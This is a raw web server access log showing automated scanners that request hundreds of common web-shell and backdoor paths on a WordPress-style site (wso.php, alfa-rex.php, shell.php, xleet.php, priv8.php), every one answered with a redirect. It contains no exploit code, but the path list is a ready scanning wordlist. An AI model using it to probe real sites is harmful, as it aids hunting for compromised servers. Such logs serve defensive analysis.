[12/Apr/2025:10:41:53 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:54 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:55 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:57 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:58 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:41:59 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:00 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:00 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:01 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:01 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:02 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:03 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:04 -0400] "GET /wp-content/plugins/pwnd/2.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:04 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:05 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:07 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:08 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:08 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:08 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:09 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:09 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:10 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:10 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:11 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:11 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:12 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:13 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:14 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:15 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:15 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:16 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:16 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:17 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:17 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:18 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:18 -0400] "GET /wp-content/plugins/seoplugins/wso112233.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:18 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:19 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:20 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:20 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:21 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:21 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:21 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:22 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:22 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:22 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:23 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:23 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:23 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:24 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:24 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:24 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:25 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:25 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:26 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:26 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:27 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:27 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:28 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:29 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:29 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:30 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:30 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:30 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:31 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:31 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:32 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:33 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:33 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:33 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:34 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:35 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:36 -0400] "GET /uy26sfm6.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:37 -0400] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:37 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:37 -0400] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:38 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:39 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:39 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:39 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:40 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:40 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:40 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:41 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:41 -0400] "GET /wp-includes/block-supports/doc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:42 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:42 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:42 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:42 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:43 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:43 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:44 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:45 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:46 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:46 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:47 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:47 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:48 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:49 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:50 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:50 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:51 -0400] "GET /wp-content/themes/twentynineteen/fonts/dir/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:52 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:52 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:53 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:53 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:53 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:54 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:54 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:55 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:55 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:56 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:56 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:56 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:56 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:57 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:57 -0400] "GET /bi.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:57 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:58 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:58 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:59 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:42:59 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:00 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:00 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:00 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:01 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:01 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:02 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:03 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:03 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:03 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:04 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:04 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:05 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:05 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:05 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:05 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:06 -0400] "GET /wp-happy.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:06 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:07 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:07 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:07 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:08 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:08 -0400] "GET /cgi-bin/cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:08 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:09 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:10 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:10 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:10 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:11 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:11 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:12 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:12 -0400] "GET /wp-express.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:12 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:13 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:13 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:14 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:15 -0400] "GET /85022df0ed31.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:15 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:16 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:17 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:18 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:19 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:19 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:20 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:20 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:20 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:21 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:22 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:23 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:24 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:24 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:24 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:25 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:25 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:25 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:26 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:26 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:26 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:27 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:28 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:29 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:29 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:30 -0400] "GET /wp-content/themes/news-portal/error.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:30 -0400] "GET /doc/function.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:30 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:30 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:31 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:31 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:31 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [12/Apr/2025:10:43:32 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 66.249.79.98 - - [12/Apr/2025:11:12:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.52 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 167.172.21.236 - - [12/Apr/2025:11:33:18 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:21 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:25 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:29 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:31 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:32 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:34 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:36 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:38 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:40 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:43 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:44 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:47 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:49 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:52 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:33:54 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - 